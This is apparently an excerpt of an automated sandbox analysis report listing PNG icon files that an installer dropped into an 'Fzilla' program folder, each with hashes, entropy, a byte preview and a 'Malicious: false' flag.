SHA-512:	CC2D7591989AC021590A7CBB6F6AB91C2E077E01D9B09B1DD4A04286DF43422F0A0EB67428BF7B8A4FF6DC6CEE725D798FE5910FC2D2784A2F51CC8A16EEA45E
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b..`...Q.h..`...8.7.c.m...c..M1g.m..l...5..{._^......e.L..!Se.t...N.....6..$....W.x.....5.;.%f.II)..e....k..k./...V">...."....:...p{.s.U....O..`.B6t.....g...[..+.+.....;[..6./.{...6.....Q.Z....N.....YUjH....:.R{.i..]N>e.....T......q,.0......N.wC.P...R-....a..N..p.e."t,..y..W!.j..{M...;......G...SjAR.h"&........./..D.. ..z."..o.....A........?..!.!......l.lw..y.........p........-x}.( ........e%`.i.^.......,.....1...i.\T7.xy...o..E. .k..H......+C.{lx.-EC..S.j"..X.:..^2W..B../$..B.....E2KJ.kWb....d/.9.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-U2BF5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	734
Entropy (8bit):	7.605469382079802
Encrypted:	false
SSDEEP:	12:6v/7id7abfyGXcatPuZyiwjh4yLNTjo3pxD/xse7pwt42qRjrofXKg6LqqLi4:/a7X9tPucjuaNHQpxtseOmIXKxi4
MD5:	1BA91C1D13A2D292CED42FD957A5D1A5
SHA1:	A40AB6A6981637ACC29913C8259B8AF9AA82E824
SHA-256:	140B9AA9E5729BBBB9E85ECA5494F0A0A31D72DB184B41E140883111B3D3304D
SHA-512:	C518CB268FED63FA43063330E2EB409EB6F16F832EA71348046E2A13D9AC41608BDB4302621592D3339E6E0B64C4FFB88E9C3D271310B21D39E915BC42954553
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b..F.(.s&5...=.V..A...m...g.m.m.f....mcv....=]N.k..9.l....4......Fc.<..B..V.t.T..A .a..R^B7...&..&/.....CU.. P.h.h.X...`..]Z.....?......\|R.!0n!<.V....\.,..d....w..V...92MO.QL ..J6...We"~..u.....t3..g....}...4./.\../,....xV......k.-.....M.P....T..?...8..GP..\|.ao.......-..../..i..J....c[......^..}s'..?.T.. G.<..\| .)........6..8.1?.#..CC...../....X:._...R....v.=z....P.S.d....&h..Y....!....#...c..^...Y.....s=....s....N\R[.y..r...d.-..t...=yGP<....'.k..0...*.....?.V..@...a.n.D_.&...;6.C.....]."<....@....d.2...0k.....!P....9\......j.~.Z.........U..h.;.,..........t.......F..S.3............k..B [aT.x.:..O/.}.F.f.GT...6..Y2..G)...t...[..s.<N5........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-UI092.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	449
Entropy (8bit):	7.277585752281084
Encrypted:	false
SSDEEP:	12:6v/7iCkuQ8/YRFeCRbSOPruSPXImLrhML+dBuZ:wkTZneorVXImfhML+dQZ
MD5:	EA3731B3EFD45B81ABA07F4AAEB59B25
SHA1:	ABF886627761F703AC965FD4C25616DEEE5F748F
SHA-256:	48F5BDB69B41C56EE042ECA1457AD46A004F06CB320FF3179200DB7D931BE551
SHA-512:	91D83967AF974939A1924EEA859911D92CCED0EB26C18EB879F47B175F7F61E29DC0097CBFC6B93D57EEE4E431CCCEDC561A5345A34B3D4EA107545D417802CA
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....a.Fa.(..qwKpww.......>..K..\6g..~...`'..o.:`...+....7i..H.L.b.*9.c.~..s...h.\/..t.......H..+J.F.h.LI/$..y(E!g...).....cyg.rlS?.+.{..'.sV+. g7.k..y74.<_+...Q.E.Y....9.D..^..V.M.....:.y.....w!....0...y.r....D.....%h.E....."j;L....)ET.@.:y.....es.&.P..}:J1s.&..:g.....P.F.......j.C5..1T...P..x,...P..A.N(.X+ -.%..+..N.).n.T....)..% n..(!..........E?0.'.?o......Rt<.Q....]..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-UU608.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	7.095565135282059
Encrypted:	false
SSDEEP:	6:6v/lhPKqcOd9lJ/A8WNqCV7aDVhVybdPOUZO4gGgTTkFSk8nOvUyfW/Vp:6v/7iGnJI8WNV7UVfsdPOZGgsFSk9ch7
MD5:	900DD3CF8073F00DDE69E14566482C23
SHA1:	C1A02D6233708BB438351E6339EF8726A9A2BB47
SHA-256:	83E16FB1C48509C8606C8EDF5D8CCF9606D799CC1FF29E23155D6B6D7D24B187
SHA-512:	89D6D646A308E454134586C464BCD6BFE6FF630722610F30CF598B97480EDC8B39E9BAB71B7A20592E74B4553524F615ADAB057D69E2501BC89947CF3CC65082
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....D.p...(.#@.0I...h...d... ......%.........B.(.j.>.9-..7j..8....z.i.7s...a.......o..8.h..!.C...y......oA........?d<...f'.(.!..(._.tP......C..b.P;y..f......\|.'.6..!J..N.j...z.S....x...c...o..5.<.t.*..S.~.8`..X...".....5q.%D..OC.3..& ..Op..%.....r....s....5R.E.J....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-V5JK8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1215
Entropy (8bit):	7.769033660075704
Encrypted:	false
SSDEEP:	24:doZDRE+8OP9PEsCF7VGjwZ807DJIPsABKGepU5VOHj6DQ7i+b7IWLCD2FV4ur3RZ:dmDRqO9/CFhis8QJIxKGe6WHjPi+gzCr
MD5:	571139604559E9727B009FC0F0A35026
SHA1:	274EE59BE11A96107B08552EF9DAD24DCB37339A
SHA-256:	03679E8752ADAA16606C34C3AF796FE55E9629BC2B674635BC9333155CD008A2
SHA-512:	4ECF8B27B2746A935CB9AECEB2EE45A3390D80DA2ED5C509B593E9A7EA26B2995327686D665FC37C81E14B08549DDD6BFA1FD8D454BAF3B3AC9C88EBF2F34F22
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..Kl.U..K.T.K......A....L.3mg..i.A.-E ....-.P. .&.]..@...$..........+..,..c.&..h...?O.!...,{..nr.....9'..[..X..x.p:..D+D'D.3...N.6...?..c.oE7D......wStM....(...1...3'.9..?...y..mYgMC.w.6......:.m.{..........nr.4q.=7..?...@..V...)..4./.Y..........by]...<]..YQ.-.g.K2o}X.Dum=..IB\... ......c..5.4j.\..6K+(Z....L.{8.....bx.6P......n..R....b8..]nV.t..?.t....x{..pr...1..@T...u....b..........N....i..D....QLG.e...."[zC.$...c#...&.p.y.x..{.....D'.C."3.xVr..=R....>.t.a......s..7....x9.L....f...Q..Iv-.u.....s......}d.7.....`......g..Q2...q.........Q.B.^I...lk...p<.M.<.&.\......s..B..o...z...dm...:..@.R....<.D....d.Z.....Q .....V8...L.e2.r.,\|...D?W#O@.x.......@...\|.-........[%U....9..s...d...^...X7Ke...h...._\|..#K.....za_7LFaw...8+..`Y......r].:7.}k...fWb_.v..2<.o#..;.c\l..\.j..\|.!(J..'.{...<..(.;2.@...L.q..n...an6-./D.h...2C.G.p.....l.Te\....n.7..@.D..&..{.;.qzJ.........r}e...@\|.A.,./.'9.......@...^.Z

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-VF2H1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.736557125883991
Encrypted:	false
SSDEEP:	24:fqIHsWgIrrmGsCGXO7SKZtY5/XrjvwH8lQD6:SIHN1C+7SKZtwPe8iD6
MD5:	47CA58185EFB86A3E8C52C6F0ECF08EB
SHA1:	F753DD371F6F0082F95581237F48E6574253AFC5
SHA-256:	3D3253E71481BF0D32B8DDE24C2EFF441CD443D6B5D124A251F1AA9D222EBA5B
SHA-512:	C892DCA41C1BE06E086AD0CE4A6716F449AEAC5A72C5CE25430FEE1A77D93D2E2AF909EFA50D2A4E97E806574B7F0F0A652DC3620E73CA48A6F199F6329197EA
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...%Y.....O..m...=....m.m.......F..:#.b........8p....+.....)\....-.......-~J..Y..j.mM@p=_.^..Ic.U...8f/ x.T..?.....H.`C.R..N..c.z.."cn...w.}7{..}...RB{..i.kW...{.....r.....M.eee=&<+...QVV.Fii...{evHqD.[;;.c......b.c.}H.............TdI-.......`......Qk'''>.....H.....988....jrrr.._.i@D.%.......~#66...TU8,,..'N..w.)..?Nhh.2....r.8.....].@FF.$...FOO.........{...\fpp.........c../........ .q_..@..u...F.\>.......1pvM........".&..%.i....k(...@.............x......A..qx...w..{...@...M0.n....,,,`.Q.... .U..U...eo.c.]T...&,hV3.[.X]6a.L.......9W.:.@......t.K\|.s;....w.G.:e.V.d..+K+h...no..dv..!.?^.4.....D.U......j.......L[......a.4..L+........H..B.OQ....AM.2@F..U......&..T...>..\|.5]..3...D.k\|...=V....T:X.60`\GZF......_N.x4...e.\|./.H.O...aO0..B..a.ld@.4&..(....'...v@cp..n.<..v....y..r[4.$....2.0Bi.q..../.e.#.Ho0.2.l#....T'>...Z%......C.....d...\|..g@.......477...&.Bw{#-...s.......u^..Ibb.j...l.........8).

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\leds.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1217
Entropy (8bit):	7.740564574812406
Encrypted:	false
SSDEEP:	24:62EMIGKq1DkBwgzatU4vAlmXMUdlhLXArL6zzzQ2:6am1MBvemMUdlhLQf6zzV
MD5:	D1ACDC707E23F7EE928C86E5E5AEFC6F
SHA1:	F91A3440E35C44470B88666B0546B8353A9083CC
SHA-256:	7B840B9BF6F990940C61321345DF3F327CAE05944B02BCAAAC8E3AE815CD3952
SHA-512:	93A2190AAA583ABDE8B29C11FF9D210B55B373A41834EF52CB51A825FA92B912AD4D3DDC70F3A71946C404DC4D5CBF8D28FD8E865D708CDD5930C3334C0367C9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...}H]u..........w.i.....4.>..KPA.P1...i.6.xS%Z. .bH..T.s.k.y.].6m^.OK.nP0.e..VA....w......}......9.2...z.j.8..&Q..0..Mbb.jD...ZA.T..f....H.N.0.prr...N...suk....L....H]C.Le.7n..@...........OG6m..'..G...f..f..Z.....i0...v;..#..6a../n...F.@,..7u.?:3.by....o.R_L..-...GTr@.xCB<......".h..^.. ....X`c6[H.!....vK..X.@.0)....z.\..b`.....i^........%..TZ...j.....>.x."6............G...+C .q..F,U.o....'#..q....i$!fRS.' ..#..N.xQ. NB.1..q...S)..@ ...<.E.!.=......Wg.Y...~cv.\|..Fd...........C@L.....`.....^...=.0J.I=..Q....(E.. .q.qLk&...&,....5!..I8;...>Jb&gpm...b.>....(.(2...Z.....S.P`..Z.F.bam.Ra.:.^Fk..9..Dz...yC.z...........ajOu..=."Ri..0.)......YA.Q.Z...w...E....B..4........e.-.uL..'..<.K....6Wd.Q..s..W.. .".k.......d":r.E.......S3o>...^......rcD.+.x:....Q .=OSmx'.])..4.....K../.@R.q..NS.i..7...~..O............ G..\|.t9..i..0........Ts.u...q.z.`.s.O...r....}8./U...W.#...y.I4N.U..d..5..N.....UC.....i..tI>....

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	7.6875539559992125
Encrypted:	false
SSDEEP:	24:TAmVfqplE/m0mW8jaJb21+Z8QBqxTuhzbD1:THVfc6/9mW8jDjV8l
MD5:	B993FFA6DC32E0B71FCC7090848FD8F3
SHA1:	D7794906F8FEDBF30C9D4C12890E8E970ADDD42E
SHA-256:	4BED7D2814E00835D8B5F8474153E0D6A0F3C4A925D2A4246C1B1D08F7A22F41
SHA-512:	BE68D78129FDCF9012B60A14B5C15F51F4C705663D00DCDA2D530A127EC7D82C2837FBF8EC0732FEA1DAF60D6FE69E439308195A8B72A08BB14265219CC145A0
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .......$....R\F.RP..B.gk.6...1k.m...3.....t....\|..\|..C..a........"..m...w:.Y....5D.!%.....N.q..,..k.j5.D"y^.....K. ..G<.....U..}}.]..R.Ekk.....y...I...q.......^.v.H$..r....o.].....%%%G....GEE.8w..P(...Q.....agg.K......ZPb.......=...G).Q..J...fh1++++AA....J.===.........'''dff..........D..999+........N\\............ppp..+W .J.............1......MD{{;z{{...u...........c\|\|....w.K1..KMM...u.....Z......nvVH@..@FF..XZZb..r......6$$$h.\.& ...Fs./ S..`B.B..Q]].\|\C...@."........2.T...(.....%...D..o.H...c..0.\|.a\|....}.?.....!...@.v..\|..y.....!)T........`.u.!C<.t....<.Y.#.#<.$.!..?..w.?..o...@..v?.....m..J....1c...%....\|+}.".K........M...............".C.....+U.?...?........n...U..+.@^.q...p....l.4P.....DGE_.hii...[...x..}...7.\|...?.,.[........ED!#/7.......R.d....,-....b.F....f`6.....^.q....-`bbJ...}%.b1x<....0::.y..J..m.............o...4iY#.....]SS..`.....................!IJJb.......`......E...Z..o.....Q.._

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	438
Entropy (8bit):	7.335543461016686
Encrypted:	false
SSDEEP:	12:6v/7GdfJvCPtzDruIbyI2+wAHNkssFBpY/YrUqM/mTFz5wcfjXR3cVz:fdBC1zDrtbyUOsipYQ4qM/ezS4l3cVz
MD5:	A88423CF7C371E66A49336A0874792AC
SHA1:	5B9F81D13B5E60081ADF5D8C72CBE3EA0BDEE91F
SHA-256:	0153D55F130FE4F8A70CB103875E4D73A7C132E20A573FE759E55A934C5A063E
SHA-512:	FC62896E91348896931CE7E2B212EB78AC2CFD1AEAA88D0E9AC75C068437DFB4819F8B09133E59B90FD2A0B2EF65CCD9BD45A7F8C83AE8386297F620B98266D9
Malicious:	false
Preview:	.PNG........IHDR... ... ......s.....}IDATx..;K.A...Ql,.D.!....Moa#.....Q!..4"QEQ0.%A......j.N.. .....gMd......9..\.\|..J-..h...N}..G)M....@3.C..9.}.c..=...o....T$.E ...x.X.u.......LOm.}.........1U.4Vf"...#.KD.(..)U.."~\|...7.{W.d.@.qh`..Y...UVS.....90.....?.`.>....6...(...T..!....2\. ....e.....N.. ..k.I.PEp.o..f...........a....KR.... .....oQK.6.<\|....p....4...q.-...}.k.P+......b...N[tI.T..\p....&y..RK.......G......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	697
Entropy (8bit):	7.634649699674497
Encrypted:	false
SSDEEP:	12:6v/7PC9PHJ5iduuI2hKbAn2r42+IwQiG1ciBadepT+3l7MZijYn4By4iCtN:k2HHz3hAn2GIY4odQGle4Y484iCtN
MD5:	88C6CC7ED1BB843E2DF90D02A1E77BCC
SHA1:	D9F4CAFD0337504EFD2345CCEACAF93C11084797
SHA-256:	0C01D885F5631C6728F6D2BF14B25362543F40F8848D6389C4C87E7E2BA17C27
SHA-512:	DE22F6F26B2B11581241078B29869AC73DD4BAA2AB05A29F1A5AD6C5D316DFF499013096C44F47789745E9C987DD6407C5FE7F63CCC7CBC41CA211341FD9010C
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATH..;LSq.....a.....`.qqq..8H....(.!hP..1.B.u.Q.....[.....RK[yk..bT..4 P..x..}..d<.r_..{rs5...,.R+.rZv.M\|....&..F.5.,.m...Y^...H.. J.R...4...'.i. 6M....6AN.)L....lY4.e.....*..M3..b.Js...y#.9rB..J....(:..-4n...1\|(./...S@.L..?.T.B.Wc.p.y...V..PM.-............/.....>...K.~:..xA.B...W.5..L...!.Q...3....DA.!....y.nFX..:.1...M.....@-......$. ..yo...c.v...>....2.N...2....+qH^.`.(#..(%...s.Z...$.CW.+..%.7.g.t&..'..1.<.L"...c.)J.....f.s....)...p.f,..Bh..Y....h`..:R..q..X...V.G.+Ts.:`..d_..a.B..\.U.....('...xq$.._.Z....3...7.`.0...Nr3..k.i...,..J`c.P.yJ+/b....ug..6...C....K.)f...O3...$................z....j....O...{.4......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	307
Entropy (8bit):	6.827955876112397
Encrypted:	false
SSDEEP:	6:6v/lhPKMxKuS/hdGVwqCWynnNleQlnom84frQPRY++oD7YP924/NWrkVWwbhe/jp:6v/7iMLS/hdGVwUynNl/nQPRYPoDGrYf
MD5:	EDCF58CB4674A1C184C9475EAD416077
SHA1:	34C6B3A5E2E0A0BFCD0B9AFEA0F4498F5E789B17
SHA-256:	BD2C5844A0CDB51E1F47664AF9DA534427196082C6FB6705F60174AE010A8F50
SHA-512:	38ED2628C3D838B8D1E7E89E122C06B3E2298DFDFF3F47370C730936EC58CD63000F5C093B60A0AC57C72E135B07FD8F13DE0FB4788D0578B1DDEA60578074E8
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.c.T`...QPZZj...@\...@,.$.... .r........?.........;..S.xMU%\.....#Tq...........pqS7.h.....m ....D....A.....A..`..@,F..`b..;..O...0.c 6...0q.@9.=...T...b.J.e...?...@.D{..e.J.JJ+............l.....x.....@l.$.....+..&...@.u..*...`....e..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.736557125883991
Encrypted:	false
SSDEEP:	24:fqIHsWgIrrmGsCGXO7SKZtY5/XrjvwH8lQD6:SIHN1C+7SKZtwPe8iD6
MD5:	47CA58185EFB86A3E8C52C6F0ECF08EB
SHA1:	F753DD371F6F0082F95581237F48E6574253AFC5
SHA-256:	3D3253E71481BF0D32B8DDE24C2EFF441CD443D6B5D124A251F1AA9D222EBA5B
SHA-512:	C892DCA41C1BE06E086AD0CE4A6716F449AEAC5A72C5CE25430FEE1A77D93D2E2AF909EFA50D2A4E97E806574B7F0F0A652DC3620E73CA48A6F199F6329197EA
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...%Y.....O..m...=....m.m.......F..:#.b........8p....+.....)\....-.......-~J..Y..j.mM@p=_.^..Ic.U...8f/ x.T..?.....H.`C.R..N..c.z.."cn...w.}7{..}...RB{..i.kW...{.....r.....M.eee=&<+...QVV.Fii...{evHqD.[;;.c......b.c.}H.............TdI-.......`......Qk'''>.....H.....988....jrrr.._.i@D.%.......~#66...TU8,,..'N..w.)..?Nhh.2....r.8.....].@FF.$...FOO.........{...\fpp.........c../........ .q_..@..u...F.\>.......1pvM........".&..%.i....k(...@.............x......A..qx...w..{...@...M0.n....,,,`.Q.... .U..U...eo.c.]T...&,hV3.[.X]6a.L.......9W.:.@......t.K\|.s;....w.G.:e.V.d..+K+h...no..dv..!.?^.4.....D.U......j.......L[......a.4..L+........H..B.OQ....AM.2@F..U......&..T...>..\|.5]..3...D.k\|...=V....T:X.60`\GZF......_N.x4...e.\|./.H.O...aO0..B..a.ld@.4&..(....'...v@cp..n.<..v....y..r[4.$....2.0Bi.q..../.e.#.Ho0.2.l#....T'>...Z%......C.....d...\|..g@.......477...&.Bw{#-...s.......u^..Ibb.j...l.........8).

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	7.812039674614879
Encrypted:	false
SSDEEP:	24:NyBSSazbW1TjJyfhQ846KWVIaY/8AgOjYjWysITWfhVBPBV5WlurV+f8a:CSTbW1T9yJrcWVINgMYjWysITcVBPb0x
MD5:	E9E71E1953732D927B5EDC3122B72452
SHA1:	DC6EB44AAFFA6A96BD5B5FC702F8A02918F11332
SHA-256:	3D1B47A135C990799040B66D9CFB1305A0C93ED5361B24DD0B9DCEB2AE7B2FD4
SHA-512:	7CFBAC3F807338B55E3EA01DCBF06FDC104516A60B651FCE81522F785DCA5393EC31AD3815B1C4171709753A46131BF871218AF29A2DAD96200AF136A974808A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....HIDATx...iL.w...f..H....i..d^.\t..<. ...R(.R.....T..;..J.G[J/,.K\.t.6uF.e....8u.1J..b...o..a.ZtO.$.........7.....b.J^..x's..{.6.....\R....@R...:.v...e...._]...-. .$..FrZ...`......M..."B.W.P..}.>.Y..w....,lH....]...d....MBtb8....(...Z....=Q.cW..%rH....4P..Qi4.(.Hje.W.+...3.O...%...J..s....iy.......[..;b..Q..DP......e.....C...99Y....b...^4.....K.....3...W.;x.-....HARJ6,...../..:O!..M..;.).....~t..w.A`....j..r..za..a...A...;..[.7...K.&r.G.EO.n........L-.......m..p..n.q....B..f.V$n@...... 9...._#.H..`..`.F...`.D./..L$...j.P..!..&.q.N..."/.WDAI....b..L...H...B..<...F.p...I.Hh...X...g.'G....M.u.P.,(.......[".]T..P..#.+...H!..F.rH.Z...v.=..Z6....y..TH...#.......].[...S...[<_Q...../..nwB.....................:.....M&.u&.M....q.G<....)...0....k...."8/..7h.V..j.....h.v.Ww...!.~(F.y.tz.3.........q+.?.....:54.......}.n....9...s.>kA..c.d2.t....I.J..p1..0..t...6.....{>.C.p9.O..+.s!..Gt..\..`......^..^.....9.....=

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	515
Entropy (8bit):	7.403882283673057
Encrypted:	false
SSDEEP:	12:6v/7irjkUgv/BDhYdd7eOD+pi1Nen013fbruh2fpy4Jlz:NjkTBqteekifK013+8fpyE
MD5:	7B0B19962119DE23988AA5CBE21540B4
SHA1:	2333706E66A0AA09590205754794CBD8B1A1D4A0
SHA-256:	EA1C9D26F6EE41713A53B2B96D5B4B6A12ECB70B966C96001BFBD014F61D8668
SHA-512:	08E8551515225069DDC5EBFB0B94E85E91BEC0563D9032B03A68AC6B4763A5281500FB6C333F0C06C2475AA35711456890731DF53B0D3054F12AB382386F91B7
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....Wq.G.m.c..m...e.5d.]S.........o........?..4.......bA8j.sX.@.A..C......I..9F B......GW..[..G..2OQ2..&#>..4.......a .S...I..{...Wr\.L...t[....iX.......9.Y..+..s&..C8.5.f.ER......-..J^.6A....g.......@..............".......&....>..4...&...3>..Bf...r.."...........x.......f ...p..M...v.P..-..JyY..B..W>........._pl</F...>...p..Y=.z.n?KI_G.,..O@B<.L..\|&,V@..4G...c.... s.#Q..Q..p.2...a....q.7<.p..z,$.zb..Cx..h....;?r,&.b".{........?....LD.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	951
Entropy (8bit):	7.708867626048922
Encrypted:	false
SSDEEP:	24:hHqJpESIPRed57dh0TVmrVIiiwyb7hhMwdzNMJi5LfGto15:hHoESyRQ572VFO8dOJij7
MD5:	56724AEAD4EF4DC66C207F27D1E18F6D
SHA1:	30A6DCEC8A26F0A1F1AD339D3B5519B4963031F9
SHA-256:	C16895993B6319A6C38A607CAEA1CB095344AC52F59A054BF6B08186F9C8B422
SHA-512:	AC20B9A044D60FC4D11E67585268F7945BFCB1542608ECE411161FDD2B3DD2AC17FA26C8CA1B5BE7DE4FB2CAD252B1A120C5B531B5909F6ECFAD58AAE906F44E
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....~IDATx.b .....R.....,..Ea.c....bl.Z.m..m...zw.....\|.t.W.{O...Y$.....\._.?..Y.MS7.'.2I.$SfH. [..y.A.0...Z.^..Fm.U..U..={..jt. .....:.n...].v_4j....w.........n..t..9.S.N.].t1....q.....?!..( ...\~....)22.....]....j...o:v.d....G....#.:t.....t......~_.....:?....t..8.vFc...QQf.........w.C...o..G...Gbb"AAA..=..Y.....jC....e...7o.....`4.9s..=.Mc.5h_\|\|\|.......F.P.Eg..#.hCrrr(*"??.$%%%TWWc6..L&.eee..V5.........g..#8...r.X.B..rn.\|}}...X,..l......e.....V.p....z.f.U...jmx....;.$...x.p<.........`\|..................... .5...pV-88.\..V..X...._.....xbH1%.5.d.4$@n+Hy.2>.O!...y..........._..O..e....u<.z.........P......@T.'..Mp.......p.._.h.2.T.5e.3S#..^.e..<>.....1..U..i.........\&.&t.v`..G..r...k.aN9....t.l...5........%.5.....p.J+...}+xg..v.:...z.k.p...Y...y..Lk4..j..p.v...x...Vm.......t..@..(....dff.... .Att4............6._. .q......,.ef#.+.-..Q0.....fT......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.6770187407004755
Encrypted:	false
SSDEEP:	12:6v/7iojUwWJVJX/Q0+sZgnqlIbga1UsEw5FErKGTp0o7R9+2/VDgdLShLWaVxgu3:0uJjh/KbgeUTwHuTp0oO2sgZVX9SGMKl
MD5:	3426E7498D09DD130EB4C934C2BDECAE
SHA1:	BD246E54DB9BC6E6A638EFE8C0B1A0CD78A208A8
SHA-256:	13739929B7894139F62D67D807771C4221495AF1217BECAEF269074B2635051E
SHA-512:	761E79BB2AD400B571BA6DCC4FCCC48D4A6F211D2EB4305B1C906347CF8986006501B3171DE1CCBF12542EADD8C2425828D0D6A4B2F23540B15FDD402980F18F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....5g....l.Xe..6.wpl.k..qm#nl.q."....Y&.....W.....8...........(.>...........~%........w......~!.J.....2...6...j.$.J5j.>)) .N3.....q.a...r.....n1..i..............K.x?.f.z....p.y>n.,..'/.C.......b.x\..`...vK......i.....W....\|\{^..w._B.w.}?.7.j...P._..X..GF@.......f..D._H1.\y....UxP..G/p.T.[...d.......Ualb.......C$...`..j..js.h.C.f.o..f......'-....q..?.@.......!T74..S.Ui.(5..m.Q..K...gX.Y..4hP.Q..c.5.3X._Y...Z.V7.....^:%.^....\|......nE...M.^.....3D .,......:....c/......X,.P(......y..st"VVV...,~..d...K.....5....l6.j..G...q?....Ka..#`.D"...N.....XXX.7.z...p8,^....N...%....-,..m.P....b.....+.z.T..p.O..P\.nPT..Q......T#.....l.XZZ...$....78.E.. .&......V....0o..h.c4.kt.l'F2..:::...Bn..........:...l....."k.....+..AQ..t<.....kPw.F...s..sZ:.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1505
Entropy (8bit):	7.854236575747375
Encrypted:	false
SSDEEP:	24:sk2ANQPUm58rQVXFyddUaGsGGX9BwQYrHMdCJHvnmAX/Q3kmhb8qTMgz9BS6/HnR:sFAG58CXFCUMmQmr/mAXMkmhDTnBLHSi
MD5:	20D9AADC64F196C4A6F5F59940477FAD
SHA1:	5E5E4B53174C5D154EB73D70686ECC9E811C3DFF
SHA-256:	0A6342A748F6F0F8ABE80961E23A53C6509E5F5FE89C6B84EE73F30F5AB5C5D5
SHA-512:	C39AD122D27A2F81A8DFE0451D8CB9B2433966109B7AE3FFF7A2CC2E52C0A4135B974C574303B586473FEF3270A534112A8D9A45A26348B1007EEA2057345324
Malicious:	false
